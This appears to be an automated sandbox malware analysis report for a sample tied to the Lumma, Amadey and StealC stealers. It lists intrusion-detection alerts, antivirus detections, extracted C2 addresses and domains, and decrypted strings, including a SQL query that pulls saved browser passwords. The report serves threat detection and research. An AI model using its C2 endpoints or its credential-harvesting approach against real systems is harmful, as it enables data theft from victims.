2024-10-31T05:07:24.739883+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49902	188.114.97.3	443	TCP
2024-10-31T05:07:26.355719+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49914	188.114.97.3	443	TCP
2024-10-31T05:07:28.844562+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T05:07:30.098571+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49939	188.114.97.3	443	TCP
2024-10-31T05:07:31.459353+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49949	188.114.97.3	443	TCP
2024-10-31T05:07:32.773482+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49955	188.114.97.3	443	TCP
2024-10-31T05:07:34.228911+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49968	188.114.97.3	443	TCP
2024-10-31T05:07:36.230606+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49983	188.114.97.3	443	TCP
2024-10-31T05:07:43.615777+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50032	188.114.97.3	443	TCP
2024-10-31T05:07:47.660998+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50050	188.114.97.3	443	TCP
2024-10-31T05:07:49.406757+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50052	188.114.97.3	443	TCP
2024-10-31T05:08:05.983696+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50066	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:33.849364+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP
2024-10-31T05:07:30.667250+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49943	185.215.113.16	80	TCP
2024-10-31T05:07:34.115833+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49965	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:07:15.905526+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49845	185.215.113.43	80	TCP
2024-10-31T05:07:25.546983+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49907	185.215.113.43	80	TCP
2024-10-31T05:07:33.200550+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49959	185.215.113.43	80	TCP
2024-10-31T05:07:40.976902+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50009	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:00.643812+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	51371	1.1.1.1	53	UDP
2024-10-31T05:07:14.905983+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	59708	1.1.1.1	53	UDP
2024-10-31T05:07:29.449138+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	52268	1.1.1.1	53	UDP
2024-10-31T05:08:05.321785+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	59761	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:00.655207+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	54156	1.1.1.1	53	UDP
2024-10-31T05:07:14.917324+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	52091	1.1.1.1	53	UDP
2024-10-31T05:07:29.459110+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	53359	1.1.1.1	53	UDP
2024-10-31T05:08:05.334015+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	59855	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:00.680331+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	60775	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:00.601047+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	59698	1.1.1.1	53	UDP
2024-10-31T05:07:14.894480+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	64189	1.1.1.1	53	UDP
2024-10-31T05:07:29.435772+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	64384	1.1.1.1	53	UDP
2024-10-31T05:08:05.293703+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	57389	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:00.667603+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	54274	1.1.1.1	53	UDP
2024-10-31T05:07:14.929269+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	55821	1.1.1.1	53	UDP
2024-10-31T05:07:29.467174+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	55832	1.1.1.1	53	UDP
2024-10-31T05:08:05.346733+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	57852	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:04.553101+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T05:07:26.462209+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49914	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:07:28.178188+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49925	185.215.113.206	80	TCP
2024-10-31T05:07:39.695929+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50001	185.215.113.206	80	TCP
2024-10-31T05:07:46.995592+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50048	185.215.113.206	80	TCP
2024-10-31T05:07:54.649272+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50055	185.215.113.206	80	TCP
2024-10-31T05:08:11.637848+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50077	185.215.113.206	80	TCP
2024-10-31T05:08:29.293245+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50111	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:07:04.635257+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49781	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:07:15.000247+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49797	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:07:08.000848+0100	2803305	3	Unknown Traffic	192.168.2.4	49803	185.215.113.16	80	TCP
2024-10-31T05:07:16.825709+0100	2803305	3	Unknown Traffic	192.168.2.4	49851	185.215.113.16	80	TCP
2024-10-31T05:07:26.483010+0100	2803305	3	Unknown Traffic	192.168.2.4	49913	185.215.113.16	80	TCP
2024-10-31T05:07:34.115833+0100	2803305	3	Unknown Traffic	192.168.2.4	49965	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000020.00000003.2745547028.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.6996.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "thumbystriw.store", "necklacedmny.store", "scriptyprefej.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 51%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 30
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 11
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 20
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 24
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetProcAddress
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: LoadLibraryA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: lstrcatA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: OpenEventA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CreateEventA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CloseHandle
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Sleep
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: VirtualFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetSystemInfo
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: VirtualAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: HeapAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetComputerNameA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: lstrcpyA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetProcessHeap
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetCurrentProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: lstrlenA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ExitProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetSystemTime
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: advapi32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: gdi32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: user32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: crypt32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ntdll.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetUserNameA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CreateDCA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetDeviceCaps
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ReleaseDC
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sscanf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: VMwareVMware
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: HAL9TH
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: JohnDoe
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: DISPLAY
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: http://185.215.113.206
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: bksvnsj
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: tale
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetFileAttributesA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GlobalLock
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: HeapFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetFileSize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GlobalSize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: IsWow64Process
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Process32Next
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetLocalTime
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: FreeLibrary
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Process32First
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: DeleteFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: FindNextFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: LocalFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: FindClose
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: LocalAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetFileSizeEx
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ReadFile
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SetFilePointer
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: WriteFile
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CreateFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: FindFirstFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CopyFileA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: VirtualProtect
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetLastError
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: lstrcpynA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GlobalFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GlobalAlloc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: OpenProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: TerminateProcess
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: gdiplus.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ole32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: bcrypt.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: wininet.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: shlwapi.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: shell32.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: psapi.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SelectObject
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: BitBlt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: DeleteObject
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdiplusStartup
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdiplusShutdown
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdipDisposeImage
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GdipFree
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CoUninitialize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CoInitialize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CoCreateInstance
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: BCryptDecrypt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: BCryptSetProperty
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetWindowRect
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetDesktopWindow
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetDC
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CloseWindow
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: wsprintfA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CharToOemW
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: wsprintfW
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RegQueryValueExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RegCloseKey
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RegEnumValueA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CryptUnprotectData
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ShellExecuteExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: InternetConnectA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: InternetCloseHandle
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: InternetOpenA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: HttpSendRequestA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: InternetReadFile
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: StrCmpCA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: StrStrA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: StrCmpCW
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: PathMatchSpecA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RmStartSession
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RmRegisterResources
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RmGetList
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: RmEndSession
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_open
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_step
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_column_text
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_finalize
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_close
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: encrypted_key
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: PATH
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: NSS_Init
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: NSS_Shutdown
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: PK11_Authenticate
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: C:\ProgramData\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: browser:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: profile:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: url:
